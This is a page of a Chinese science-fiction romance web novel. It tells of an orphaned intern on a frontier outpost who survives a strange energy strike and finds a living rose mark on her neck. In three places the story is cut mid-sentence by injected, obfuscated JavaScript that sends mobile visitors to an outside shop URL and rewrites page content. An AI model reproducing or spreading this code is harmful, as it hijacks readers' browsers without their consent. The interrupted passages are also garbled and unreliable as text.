《植物系男友是朵娇花》 1. 流星坠落 星纪233年,绿源-III前哨站的夜,黑得透透的。 毕竟这里不是地球,到处都是那种掺着路灯光的黑,这里是宇宙深处,四周都是货真价实能把人吸进去的宇宙黑。 唯一的光源来自那些半死不活的星际作物指示灯,幽幽的蓝绿色,照在金属通道上,反出冷冰冰的光。 林星光裹紧了灰扑扑的工装外套,拉链拉到顶,还是觉得有不知道哪儿来的风往脖子里钻。 她手里那台巡检仪闪着微弱的蓝光,上面跳动着一排排枯燥的数值:能量接收塔的运行参数,物资储备仓的温度,还有作物培育区的湿度。 “今晚林星光巡夜。”她对着通讯器说,声音轻快得恰到好处,完全不会让人反感。 她是这里的实习后勤协调员,说好听点是协调员,说白了就是个打杂的。前哨站屁大点地方,三百来号人,谁家的物资少了,哪个区域的设备坏了,甚至两口子拌嘴闹到值班室,最后都得归她管。 巡夜当然也不例外。 谁让她是个没背景的普通人呢。 银河星拓时代,异能者才是站在金字塔尖的人。他们能控火能御水,能一拳砸穿合金板,能靠着精神力感知几公里外的异动。而她,林星光,无父无母,孤儿院长大,基因序列里连半点异能感应的苗头都没有,能挤进绿源-III当实习生,已经是踩了狗屎运。 这份运气,她得攥紧了。 片刻后,通讯器那头传来值班室老陈含糊的应声,夹杂着咀嚼什么东西的动静。 值夜班的时候吃点东西,也无伤大雅。 通讯切断。 林星光脸上那点轻快立刻掉得干干净净。 她扯了扯嘴角,感觉脸颊有点僵。 天生笑唇就这样,不笑的时候也像在笑,白白浪费表情。可偏偏就是这副长相,长辈看了都说好,说讨喜,说乖巧,说懂事。 孤儿院李妈妈当年拍着她的脸说:“星光啊,你得多笑笑,笑得好才有人喜欢。” 她那时六岁,刚明白“没人喜欢就得多干活还吃不饱”的道理。于是她就笑,对谁都笑,笑得真心实意,至少看起来是。 通道尽头拐个弯,到了生活区。机械师老王正从维修间出来,满手油污,看见她就抬起胳膊挥了挥。 “王叔,您还没歇着呢?”林星光微微躬身,“您要的那批维修零件,我下午就放值班室了,签收回执我放您桌上了,记得瞅一眼。” 她的声音温软,带着点华夏南方口音的糯,听着就让人舒服。 老王咧嘴笑,露出两颗泛黄的牙:“就你这丫头懂事,不像那帮毛头小子,一个个眼高于顶的。” “您夸得我都不好意思了。”林星光笑着摆手,目光扫过老王手里的工具箱,“这是又哪儿出问题了?” “还能是哪儿,能量接收塔的线路又老化了。”老王啧了一声,“这破地方,消耗大,资源又跟不上,设备用个三五个月就得修修补补,核心区那帮大爷,哪懂我们的苦。” 林星光跟着附和了几句,无非是“您辛苦”“回头我跟站长反映反映”之类的话。这些话她早就说顺了嘴,真假不重要,重要的是能让对方听着舒坦,能让她在这个前哨站安稳地待下去。 老王又念叨了几句核心区的资源倾斜,骂骂咧咧地走了。 林星光看着他的背影消失在走廊尽头,眼底那点笑意一直都没褪下。 她不是天生爱笑,但笑是最便宜的通行证。 在孤儿院,爱哭的孩子不一定有糖吃,但爱笑的孩子,一定更招人喜欢。 笑得讨喜,分配物资的大叔会多给她半勺米饭;笑得乖巧,孤儿院的义工姐姐会偷偷塞给她一块糖;笑得懂事,辅导员会把难得的实习名额倾向她。 笑是一无所有的她用来社交的货币。 作物培育区离生活区有段距离,得坐小型轨道车。车是敞篷的,反重力装置嗡嗡响,速度不快,慢悠悠在黑夜里滑行。呼吸间渐渐嗅到了星际作物特有的清苦气,像是草叶碾碎后混着铁锈和某种化学制剂的味道,不好闻,但闻久了也就习惯了。 绿源-III主要种三类作物:能适应低重力环境的改良麦,叶片厚得像橡胶的太空薯,还有名字很文艺实际吃起来像嚼纸的光绒菜。 据说这些都是能跟原生环境共生的物种,根本不用强行改造原生环境。理念听着挺好,就是这些作物长得蔫头巴脑,产量还低。 但探索带嘛,条件就这样。能种出东西来就不错了。 轨道车停了。 林星光跳下车,巡检仪的蓝光重新亮起来。 这里有一片巨大的半球形透明穹顶,下面分割成几十个培育区。此刻大部分灯都关了,只有安全指示灯还亮着,那些作物在微弱的光里显出奇形怪状的轮廓,像蹲在地上的怪兽。 她开始例行检查。先看气压阀读数,正常。再看湿度控制表,正常。营养液输送管道没有泄露,温度调节器也运转平稳。 一切正常。 正常得有点无聊。 不过本来也如此。 这片区域晚上基本没人,值班的都在中央控制室。后勤协调员轮值夜巡,说的是“巡查安全隐患”,其实就是走个过场。真出事了她能干嘛?一个普通人,连最基础的能量防护都靠手环。 手环是前哨站配发的,银色金属环。据说能挡一下低强度的能量冲击,但林星光实习的这几个月也没见谁用上过。 林星光打了个哈欠,眼泪都挤出来一点。她昨晚没睡好,梦里总有些破碎的画面闪来闪去,醒来又记不清。 大概是太累了。 实习期还有三个月结束,结束后能不能转正还两说。绿源-III前哨站虽然偏,虽然穷,虽然像个星际版本的城乡结合部,但好歹包吃包住,每个月还有津贴能攒下来。 核心区的岗位抢破头,她一个没背景没异能的普通人,最好的结局大概是能留在探索带,在前哨站继续当“小林”。 她捏了捏眉心,强迫自己集中精神。 下一个检查点是能量接收塔,在穹顶最东边的角落。 接收塔像个放大的蘑菇,顶部是巨大的碟形天线,用来接收微弱的宇宙能量波动,给前哨站的部分设备供电。 通道越走越窄,照明也更稀疏。她的脚步声在这里变得格外清晰,嗒,嗒,嗒,像是另一个人在跟着走。 有点瘆人。 林星光加快步子。巡检仪的蓝光晃过金属墙壁,晃过管道缝隙,晃过—— 她停住了。 光停在墙壁某处。那里有一小片暗色的污渍,颜色很深。她蹲下身,用手指抹了一下,凑到鼻尖。 铁锈味。还有一点……焦糊味。 不是血。 她皱起眉,打开巡检仪的记录功能,对准污渍扫描。屏幕跳出一串数据,能量读数有轻微异常,但没超出安全范围。可能是之前维修时留下的,也可能是别的什么。 前哨站总有些解释不清的小异常。老陈说这是边缘地带的正常现象,让大家别大惊小怪。 林星光拍了几张照片,标记坐标,继续往前走。 能量接收塔就在前面了。巨大的碟形天线在夜空下显出沉默的轮廓,边缘反射着遥远的星光。 她举起巡检仪,对着塔身扫了一圈,屏幕上的数值稳定在安全范围内。 “一切正常。”林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189764|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星光低声嘀咕了一句,掏出随身携带的记录本,在上面画了个勾。 她裹紧外套,抬头望向天空。 远河未知星域的方向,黑沉沉的,像一块浸了水的破布,沉甸甸地悬在头顶。据说那里有最浓郁的本源能量,有最奇特的外星文明,也有最致命的危险。 林星光对那些不感兴趣。她只想安安稳稳地熬完实习期,攒点钱,平平淡淡地过一辈子。 就在这时,漆黑的夜空炸了。 炸开一道白光,刺眼得让她本能地闭眼,眼泪瞬间涌出来。 那光像一颗燃烧的流星,金红色的尾焰拉出长长的轨迹,速度快得不正常。 而且它在朝她砸过来。 林星光的脑子空白了一秒。 跑。 这个念头冲进脑海的瞬间,身体已经动了。她猛地向旁边扑倒,手肘撞在金属地面上,疼得她抽气。 然后她看见,那道白光在半空中拐了个弯。 它拐弯了。 直直地,精准地,朝她的位置冲来。 “操。”她听见自己骂了一声。 来不及了。 她只能抬起手臂挡在脸前,身体蜷缩,做出最本能的防护姿态。脑子里闪过无数碎片:孤儿院漏雨的屋顶、大学图书馆通宵的灯光、绿源-III入职表上还没盖章的转正申请…… 她不能死。 绝对不行。 手腕上的能量防护手环瞬间亮起刺眼的蓝光,防护自动激活,但在这股力量面前,像纸糊的一样。 剧痛从脖颈处炸开,像有无数根烧红的针,扎进她的皮肤,钻进她的血管,顺着血液流遍全身。她的意识开始模糊,耳朵里嗡嗡作响,什么都听不见了。 身体像一片落叶,轻飘飘地往下坠。 她想喊,却发不出任何声音。想动,四肢却像灌了铅一样沉重。 视野开始模糊。黑暗从边缘渗进来,一点点吞噬那些乱窜的光点。 要死了吗? 这个念头浮起来,她死死咬住牙。 不。 她不想死。 她还没活够。 她不能死在这里。不能死得这么不明不白。 求生的本能像野草一样,在她的心底疯长。她用尽最后一丝力气,攥紧了拳头,指甲深深嵌进掌心,传来尖锐的疼。 疼,就说明还活着。 就在她的意识即将彻底消散的那一刻,她闻到了一股味道。 那是一种很干净的味道,像是雨后的草地,又像是清晨带着露水的花瓣。香气很淡,仿佛带着一股奇异的暖意,顺着她的鼻腔钻进去,缓缓地抚平了脖颈处的剧痛。 紧接着,她看到了一片纷飞的粉白色花瓣。 花瓣一片接一片地穿过穹顶飘下来,落在她的脸上、手上、脖颈上。温暖的,柔软的,仿佛还甜甜的…… 是临死前的幻觉吗? 然后,她看到了一双眼睛。 一双金色的眼睛。 那是她这辈子见过最好看的眼睛,像盛满了整片星空的光,亮得惊人。眼尾微微上挑,带着少年人的娇气,可那双眼睛里的神色,却又冷得像亘古不化的寒冰。 真奇怪…… 视线里的花瓣越来越多,剧痛仿佛在慢慢消失,暖意从脖颈处蔓延开来,流遍全身。 林星光只是盯着那双眼睛。 那双眼睛里,映着她的影子。 映着她逐渐涣散的瞳孔,映着她苍白的脸,也映着她眼底深处那点不肯熄灭的求生欲。 然后,她听到了一个声音。 很轻,很淡,像风拂过花瓣的低语。 “别怕。” 2. 死里逃生 意识回笼的时候,林星光觉得自己像是被泡在温水里。 恰到好处的暖,顺着皮肤毛孔一点点渗进去,熨帖得她浑身骨头都酥软了。 她的眼皮很重,像是粘了胶水,费了好大的劲才掀开一条缝。 一片模糊的白色,晃得她眯了眯眼。鼻尖萦绕着一股消毒水的味道,耳边还有机器运转时特有的低鸣声。 这是前哨站的医疗舱。 林星光的脑子转了半拍,迟钝地反应过来。 她没死。 这个认知让她猛地松了口气,紧绷的神经一卸力,一股细微的酸胀感从颈侧蔓延开。 好怪,像睡落枕了一样。 记忆是碎的。 最后的记忆是炸开的夜空,剧烈的疼痛,还有……花瓣?金色的眼睛? 她皱起眉,想抬手揉揉太阳穴,手臂刚抬起来就碰到了一层透明舱盖。 哦,她还在医疗舱里。 医疗舱是半透明的,能看到外面的金属墙壁,还有天花板上旋转的指示灯,一圈一圈的蓝光,看得人头晕。舱体旁边的仪器屏幕上跳动着密密麻麻的数字,红的绿的都有,那应该是她的生命体征数据。 “醒了?感觉怎么样?” 舱盖滑开一半,一张年轻女性的脸探进来。 是值班医生小苏。 她的马尾辫扎得高高的,白大褂袖子挽到胳膊肘,露出一截白皙的手腕,上面还戴着个粉色的防护手环。一看就是核心区流行的款式,前哨站的人可舍不得买这么花哨的东西。 小苏是上个月才调来的实习医生,比林星光大不了两岁,性格活泼,喜欢追着人问东问西,对什么新鲜事都好奇得不行。 “你真是命大。”小苏凑过来,扒着舱体看她,眼睛亮晶晶的,“昨晚那股能量冲击波扫了大半个区域,能量防护手环碎的人不止你一个,别人不是断胳膊断腿就是内脏受损,最轻的也得躺个十天半个月,你倒好,除了点皮外伤,屁事没有。” 还有其他人被袭击吗? 林星光张了张嘴,嗓子干得厉害,发出来的声音沙哑得像砂纸摩擦:“我……” “别说话。”小苏抬手打断她,递过来一杯温水,杯子上还印着个卡通太空兔,“先喝点水,润润嗓子。” 林星光接过水杯,指尖碰到杯壁的温热,心里莫名踏实了点。她小口小口地喝着水,温热的液体滑过喉咙,带走了那股干涩的痒意。 她这才有功夫回想昨晚的事。 漆黑的夜空,炸开的白光,金红色的尾焰,还有那道精准砸向她的“流星”。 防护手环破碎时的灼痛,身体下坠时的失重感,以及…… 最后闻到的那股清冽的花香,还有那双盛满星光的金色眼眸。 那双眼睛太亮了,亮得像把淬了光的刀,刻在她的脑子里,挥之不去。 还有那些纷飞的粉白色花瓣,落在脸上,带着柔软的暖意。 是幻觉吗? “有没有哪里特别不舒服?头晕?恶心?或者哪儿特别疼?”小苏一边说一边按了下舱壁的按钮,半截床板缓缓抬起来,让林星光能半坐着。 林星光摇摇头,动作有点迟缓。她先摸了摸自己的胳膊,腿,胸口。 都还在,没缺零件。然后她下意识抬手,摸向脖颈。 指尖触到的皮肤温热,平滑,没有伤口,没有绷带。 但那里有一片……不一样的触感。 摸起来不像是粗糙的疤痕,触感很细腻,面积不大,大概拇指指甲盖大小,形状…… 她愣住。 “嗯?怎么了?”小苏捕捉到她的动作和瞬间的僵硬,目光跟着落在她脖子上。 随即,她“咦”了一声,凑近了些,眼睛微微睁大。 林星光的心猛地提了起来。 小苏的语气里满是羡慕:“哇!这纹身也太好看了吧!” 她凑得更近了些,几乎要贴到林星光的脖子上:“这手艺真好,你看这花瓣的纹路,跟真的一样!在哪儿纹的?前哨站还有这么厉害的纹身师?我怎么不知道?” 林星光被她突如其来的热情弄得有点不自在,下意识地往后缩了缩脖子,拉开了点距离。 纹身? 林星光的脑子飞速运转,指尖还停留在那个位置上,触感真实得不像话。 她不可能去纹身。 前哨站的规矩多,普通人想转正,身上连个烟疤都不能有,更别提纹身这种影响形象的东西。所以她一直小心翼翼,绝不会做这种给自己找麻烦的事。 所以,到底是怎么回事? 林星光抬眼看向小苏,脸上扯出一抹熟悉的笑,带着点不好意思:“苏医生你说笑了,哪是什么纹身,就是个纹身贴。来前哨站之前在网上瞎买的,看着图案好看就贴了。” “纹身贴?”小苏明显不信,伸手就想碰,“这颜色,这质感,看着跟真的一模一样,怎么可能是纹身贴?我不信!” 林星光下意识地偏了偏脖子,躲开了她的手。她的动作很自然,仿佛有点羞涩,语气也软乎乎的:“就是网上买的那种,沾水就能贴上去的,看着逼真而已。” 手伸到一半的小苏也猛地想起了自己的职业素养,一脸遗憾地收回了手:“好吧好吧,原来是纹身贴。我还说要去纹一个同款呢,白激动了一场。” 她直起身,低头看了眼医疗舱的面板,语气又变得认真起来:“各项指标都正常,没什么大问题,休息两天就能出院。你要是想回宿舍养着也成,签个字就行。” 林星光连忙点头:“我回宿舍,谢谢苏医生。” 小苏转身去给她拿出院单,嘴里还在念叨:“真是怪事,能量冲击波那么强,你居然一点事都没有……对了,你那纹身贴链接能不能发我一个?我也想买一个玩玩。” 林星光松了口气,面上有些不好意思:“好啊,等我回去找找。” 心里却半点波澜都没有。 她根本没有什么纹身贴链接。 小苏拿着一张单子走过来,递给她一支笔:“签这儿就行。” 林星光接过笔,指尖还有点抖。她低头看着单子上的字,一笔一划地签下自己的名字。 签完字,她掀开被子下地。 脚刚沾地,就差点腿软摔下去。她扶着医疗舱的边缘,缓了好一会儿,才站稳了脚跟。 身上的酸软还没完全褪去,走起路来有点飘,像踩在棉花上。 她跟小苏道了谢,出了医疗站。 外面的阳光正好,晃得她眯起了眼。 前哨站的白天和晚上是两个样子。晚上黑沉沉的,看着就压抑。白天不一样,恒星的光洒下来,连那些冰冷的设备都显得温和了些。 路上碰到几个熟人,都是前哨站的工作人员。他们看到林星光,都笑着打招呼,问她怎么样了。 “小林你没事吧?听说你被能量波扫到了,可把我们吓坏了。” “没事吧?这就出院了?” 林星光一一笑着回应,语气温软:“没事没事,一点小伤,麻烦大家惦记了。” 她脸上的笑容恰到好处,看不出半点异样。 一路应付着别人的关心,林星光终于回到了自己的宿舍。 前哨站的空间不小,所以她的宿舍也有十来平米,不过她就摆了一张床,一张桌子,一个衣柜。房间被她收拾得干干净净,所有东西都摆得整整齐齐。 她关上门,反锁,又习惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189765|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性地检查了一遍窗户。 确认门窗都锁好了,她才松了口气,靠在门板上,长长地吐出一口气。 紧绷的神经一放松,那种深入骨髓的疲惫就涌了上来。 片刻后,她走到洗手间,对着镜子,把衣领彻底拉开。 侧过脸,把脖子完全露出来。 镜子里,她颈侧的皮肤上,有一个小小的印记。 淡粉色的花瓣,层层叠叠,像是一朵正在缓缓绽放的蔷薇花。印记的外沿泛着一层极淡的光晕,好看得不像话。 林星光伸出手,指尖轻轻触碰着印记的中心。 还是温热的。 而且……好像比刚才在医疗舱时更热了一点? 林星光皱起眉。 她打开水龙头,接了捧冷水拍在脖子上。水珠顺着皮肤滑下来,流过印记时,她隐约感觉那股温热感颤了一下。 不是错觉。 这东西……是活的? 这个念头冒出来的瞬间,她自己都觉得荒谬。 但昨晚那些画面更荒谬。会拐弯的流星,凭空出现的花瓣,还有那双眼睛—— 那双金色的,盛着星光的眼睛。 紧接着,脑海里像是有什么东西炸开了。 破碎的画面,一帧一帧地闪过,快得让她抓不住。 一片望不到边的花海,粉色的蔷薇开得热烈,风一吹,花瓣纷飞,像是下了一场花雨。 还有一个背影,银发及腰,站在花海中央,周身萦绕着细碎的光点,像个不食人间烟火的仙人。 画面闪过的速度太快,林星光的头猛地疼了一下,像是有无数根针在扎她的太阳穴。 她闷哼一声,捂住了头,脸色瞬间白了。 那些画面,是什么? 是她的幻觉吗?还是和这枚印记有关? 林星光扶着镜子,缓了好一会儿,那股尖锐的疼痛才慢慢褪去。 她再次看向镜子里的自己,颈侧的蔷薇印记安安静静地贴着,没有任何变化。 她不死心,伸手去抠。 指尖用力,刮过皮肤,传来一阵刺痛。 印记却纹丝不动,像是长在了她的肉里,和她的皮肤融为一体。 林星光的眉头皱得死紧。 她不信邪,转身去找卸妆水。 前哨站的条件有限,她也很少化妆。卸妆水是最便宜的那种,一大瓶,用了好久。她倒了点在化妆棉上,用力地擦着颈侧的印记。 棉片擦了一张又一张,皮肤都被擦得泛红,火辣辣地疼。 可那枚蔷薇印记,依旧好好的在那里,颜色清洗,没有半点模糊的迹象。 林星光看着化妆棉上那点淡淡的粉色,愣了愣。 印记没掉,她的皮肤倒是被擦破了,渗出来的血丝和卸妆水混在一起,染出了那淡淡的粉。 这到底是什么东西? 它为什么会出现在她的脖子上? 和昨晚那道会拐弯的“流星”,到底有什么关系? 她想起小苏说的话,说能量冲击波那么强,别人都受了重伤,只有她一点事都没有。 是她命硬吗? 昨晚的濒死感那么真实,那种剧痛,那种意识消散的无力感,绝不是错觉。 她应该死了才对。 林星光抬手,再次仔细感受颈侧的印记。 指尖的触感温热,带着点微弱的跳动,像是……脉搏? 她愣了一下,屏住呼吸,反复摩挲。 好像真的有。 很微弱,很缓慢,和她自己的脉搏不太一样,却又像是和她的脉搏同频共振着。 林星光的心跳猛地漏了一拍。 这枚印记……是活的? 3. 印记滚烫 林星光在镜子前站了很久。 久到脖子都僵了,眼睛也酸了,那枚印记还是老样子。淡粉色的,温热的,安静地贴在她的皮肤上,像天生就该在那儿。 她本来可以尝试所有能想到的办法。 冷水冲,热水烫,用指甲抠,甚至还可以找把小镊子试着撬开边缘,又或者是忍痛将那块皮肤剥下来…… 但她哪个方法都没再尝试。 不能慌,慌解决不了任何问题。哭闹的孩子会被关禁闭,冷静的孩子才有可能得到更多。 而且她也没时间一直琢磨这个。 前哨站不养闲人,尤其是她这种还没转正的实习生。受了能量冲击波袭击?医疗舱躺了一晚上? 那已经是昨天的事了。今天该干的活儿一样不能少。 林星光换上干净的工装,把拉链拉到顶。灰扑扑的外套领子竖起来,刚好能遮住脖子。她对着镜子练习了一下笑容,嘴角上扬的弧度,眼尾弯起的程度,都跟往常一样。 完美。 印记被衣领遮住了一大半,只露出边缘一点点淡粉色。不仔细看,会以为是衣服的阴影,或者皮肤上一块普通的色素沉淀。 她练习了几个角度的转身和低头。 行。 暂时这样。 该去值班室报个到了。昨晚巡夜出了事,今天肯定有一堆报告要写,说不定还要被站长叫去问话。她得提前想好说辞,说辞要简单,要经得起反复问,细节不能多,多了容易出错。 她在脑子里过了一遍,确认没有漏洞。 然后深吸一口气,脸上慢慢扬起那副熟悉的笑容。 嘴角的弧度和眼角的弯度都调整到最“小林”的状态。 好了。 她拉开门,走出去。 走廊里有人。 是隔壁宿舍的数据记录员刘姐,刚洗漱完出门,看见她,愣了一下:“哎,小林?你出院了?没事吧?” 前哨站就三百来人,消息传播得很快。 林星光微微躬身,笑得有点不好意思:“没事没事,就擦破点皮。刘姐也准备出门?” “可不是,昨天那批作物数据出了问题,估计得核对一中午。”刘姐凑近,压低声音,“诶,听说昨晚那事儿挺邪乎的,能量读数飙到警戒线以上了。” “这么严重?”林星光适时露出惊讶的表情,“我还以为就是普通的能量波冲击……” “普通的冲击能伤那么多人?”刘姐撇撇嘴,“我不是跟你吹,昨晚医疗站那边忙了一晚上,抬进去五个,四个是异能者,就你一个普通人。不过你反而伤得最轻,真是奇了怪了。” 普通人的身体素质通常都不如异能者,几乎毫发无伤的林星光确实显得有几分可疑。 林星光心里咯噔一下,面上却笑得更自然了:“可能我运气好吧,站的位置偏。” “也是。”刘姐点点头,又打量她一眼,“你真没事?脸色有点白。” “被吓到了,缓缓就好。”林星光动作自然地抚着胸口。 两人又闲聊了几句,刘姐急着去核对数据,匆匆忙忙地走了。 林星光看着她拐过走廊尽头,脸上的笑容一点点淡下去。 四个异能者受伤。 普通人就她一个。 不可能是巧合。 她握了握拳头,继续走。 值班室在一楼,穿过生活区的主通道就到了。 这个时间,通道里人不多,偶尔有工作人员匆匆走过。 林星光速度正常地走着,一边走,一边用余光观察两侧的办公室和功能间。 维修间的门开着,里面有工具碰撞的声音。仓储区的电子屏亮着,显示今日入库清单。 一切看起来都很正常。 林星光走到值班室门口,门虚掩着。她敲了敲,里面传来老陈含糊的“进来”。 推门进去。 值班室不大,挤着两张办公桌,三把椅子,还有一整面墙的监控屏幕。屏幕上分割着前哨站各个区域的实时画面,大部分是静止的金属通道和作物培育区,偶尔有小人影晃过去。 老陈坐在靠里的那张桌子后,正对着光屏敲报告。他是个五十多岁的男人,不怎么注意形象管理,脸上总带着那种混日子等退休的疲沓表情。看见林星光,他抬了抬眼皮:“哟,回来了?没事吧?” “没事,陈叔。”林星光走到桌子前,拉开椅子坐下,“给您添麻烦了。” “麻烦什么,又不是你搞出来的事。”老陈哼了一声,手指在光屏上划拉着,“不过站长说了,昨晚值班的人都要写份情况说明,尽快提交。你的我帮你模板调出来了,填填空就好。” 他说着,把一份文档拖到共享区域。 林星光道了谢,点开文档。 果然是模板。时间、地点、巡检路线、观察到的情况、遭遇事件简述、采取的措施、受伤情况、后续建议。 她一边填,一边用闲聊的语气问:“陈叔,昨晚到底怎么回事啊?我在医疗舱听说伤了好多人。” 老陈端起桌上的保温杯,喝了口茶,才慢悠悠地说:“能量乱流呗。探索带常有的事,就是这次强度大了点。你也知道,咱们这儿离远河未知区近,时不时就有点异常读数。” “那以前也伤过人吗?” “偶尔吧。”老陈含糊道,“异能者敏感,容易被波及。你这样的普通人,一般没事。” “那我运气是真好。”林星光笑着接了句,把“遭遇事件简述”那一栏填上:【巡检至能量接收塔附近时,突然受到强烈能量冲击,随后失去意识。醒来时已在医疗舱。】 简洁,模糊,没有细节。 简直完美。 老陈瞥了一眼她的屏幕,没说什么,转回头继续敲自己的报告。 房间里安静下来。 林星光填完报告,点了提交。 然后她打开后勤系统的数据库,调取了近期的工作日志。 屏幕上的列表一条条滚动。 日期:星纪233.08.12-作物培育区湿度传感器故障,已修复。 日期:星纪233.08.15-生活区供水管道轻微泄露,已处理。 日期:星纪233.08.19-星土带勘探小队报告“短暂能量读数波动”,无实物发现。 日期:星纪233.08.21-三名异能者申请调离绿源-III,理由:前哨站资源匮乏,不利于能力提升。站长已驳回。 日期:星纪233.08.23(昨日)-外植区发生能量异常事件,造成五人受伤,原因调查中。 记录既简短又官方,看不出什么深层信息。 不过,“能量读数波动”八月中旬就有一次。 她把这条记录标了个星,继续翻。 但还没翻出什么更有价值的东西,脖子又开始发烫了。 不是林星光的错觉,是那个印记真的在升温。 那种温热感一直在缓慢爬升,现在甚至有点灼热了,像贴着个微型暖宝宝。 她不动声色地调整了一下衣领,让布料和皮肤之间多些空隙。 没用。 热度是从里面透出来的。 * 交完表之后林星光又马不停蹄地参加每天的例行晨会。 绿源-III前哨站的管理层一共就七个人,站长、副站长,加上五个科室的负责人。林星光作为后勤协调员实习生,本来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189766|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资格参加管理层的例会,但因为她需要记录会议纪要,所以从来到前哨站时起每次都会坐在会议室最角落的位置。 至于之前是谁在做,就没必要知道了。 今天会议室的气氛有点凝重。 站长是个六十出头的老头,姓周,头发花白,满脸皱纹。他坐在长桌一头,手指敲得桌面咚咚响。 “昨晚的能量冲击波,初步分析结果出来了。”周站长的声音沙哑,“不是自然现象。” 副站长是个四十多岁的女人,戴着一副细边眼镜,眉头皱得死紧。 “不是自然现象,那是什么?” “能量特征显示,冲击波源头含有高浓度本源能量残余。”周站长从文件夹里抽出一张纸,推到桌子中央,“而且能量结构呈现出人为引导特征。” “人为?”物资科长老赵瞪大眼睛,“谁干的?核心区那帮人搞实验搞到我们这儿来了?” “不像。”周站长摇头,“能量特征和目前已知的任何异能体系都对不上。” “那是什么?” “外星文明?” “怎么可能!目前还没有任何外星文明迹象的发现呢!” “那怎么解释能量特征?” “会不会是新型的空间辐射变异……” 林星光坐在角落,平稳地做着会议记录。 她做得专心致志,像个真正尽职的记录员。 但其实她感觉自己脖子那块皮肤烫得快要烧起来了。 搏动感变得清晰而有节奏,咚,咚,咚,和她自己的心跳交错着,形成一种奇怪的二重奏。她不得不稍微偏过头,让衣领的布料不要贴得太紧。 “小林。” 周站长忽然叫她的名字。 林星光抬起脸,笑容已经挂在嘴角:“站长您说。” “昨晚是你值班巡夜。”周站长的目光落在她身上,那双老眼浑浊但锐利,“冲击波发生的时候,你在哪个区域?” “作物培育区东侧,能量接收塔附近。”林星光回答得很平稳。 她的报告已经交上去了,但站长既然问了,她就要回答。 “有异常没有?” 林星光想了想,摇头:“没有。当时就是突然看到一道白光,然后就被冲击波扫到了。其他的……没注意到。” 她说的是实话,只是省略了一部分。 比如那道光会拐弯。 比如她差点死了。 比如现在她脖子上多了个会发热会跳动的蔷薇印记。 周站长盯着她看了几秒,最后点点头:“行。这段时间大家注意安全,晚上巡夜改成双人一组。小林,你负责落实一下。” “好的站长。” 会议又扯了半小时别的。下个月的物资补给清单,培育区的灌溉系统故障,还有核心区发来的最新通知等等。 林星光一字不落地记下来。 会议结束的时候已经是上午十点。她抱着记录本站起来,准备去办公室整理纪要。 “小林。”周站长叫住她。 林星光转身:“站长还有事?” 老头走过来,在她面前停住。他比林星光高半个头,低头看她的眼神有几分探究。 “你……”周站长顿了顿,“真没事?” 林星光笑了,笑得特别真诚:“真没事,就摔了一跤。谢谢站长关心。” 周站长又看了她几秒,最后摆摆手:“行,去吧。注意休息。” “好。” 林星光转身走出会议室。 走廊里空荡荡的,只有她的脚步声。她走到拐角处,确认四周没人,才抬手按住颈侧。 烫。 烫得她手心都出汗了。 4. 印记低语 散会后各科室负责人都从不同的通道回了自己的办公区,林星光抱着要整理的纪要,继续往前走。 颈侧的灼热感还在持续,她能清晰感觉到那股源源不断的热意,不过她暂时无法理会。 又拐过一个拐角,就撞见刚从物资科办公室出来的老赵。 真不愧是能瞬移的异能者,明明之前还在会议室,现在就已经回了自己办公室了。 老赵叼着根没点燃的烟,手里还捏着一叠仓库清点单,看见她就挥挥手:“小林,那老头子没为难你吧?” “哪能啊。”林星光声音软乎乎的,脸上的笑意恰到好处,“站长就是问了两句当时的情况,挺好说话的。赵科长您这是刚回科室?” “可不是,仓库积压的报表堆成山了。”老赵啧了一声,视线在她脸上扫了一圈,“你脸色怎么还这么白?真没事?要不回去再歇会儿?” “没事没事。”林星光抬手揉了揉太阳穴,做出一副有点疲惫的样子,“就是可能没睡好,缓一缓就成。我先回宿舍整理纪要,下午就给站长送过去。” 老赵点点头,没再多问,捏着清点单又折回了物资科,临进门还不忘把嘴里的烟卷取下来,揣进了工装口袋里。前哨站规定办公区不准抽烟,他也就是过个嘴瘾罢了。 林星光看着他的背影消失在物资科办公室门后,这才加快脚步,继续往宿舍方向走。 不同于会议室外的走廊,通往宿舍区的走廊里人来人往,有端着饭盒去食堂的,有扛着工具去维修间的,每个人脸上都有自己的事要做。 没人注意到这个不起眼的后勤实习生,正被颈侧那股灼热的温度,烫得心神不宁。 终于到了宿舍门口。 林星光有些颤抖地开了门,闪身进去,反手把门反锁,然后长长地吐出一口气。 宿舍里很安静,林星光没顾得上歇,径直走进洗手间。她拧开水龙头,冰凉的水哗哗地流出来,她掬起一捧,狠狠拍在颈侧。 冷水碰到皮肤的瞬间,那股灼热感像是被刺激到了,猛地蹿高了几分,烫得她倒抽一口凉气。 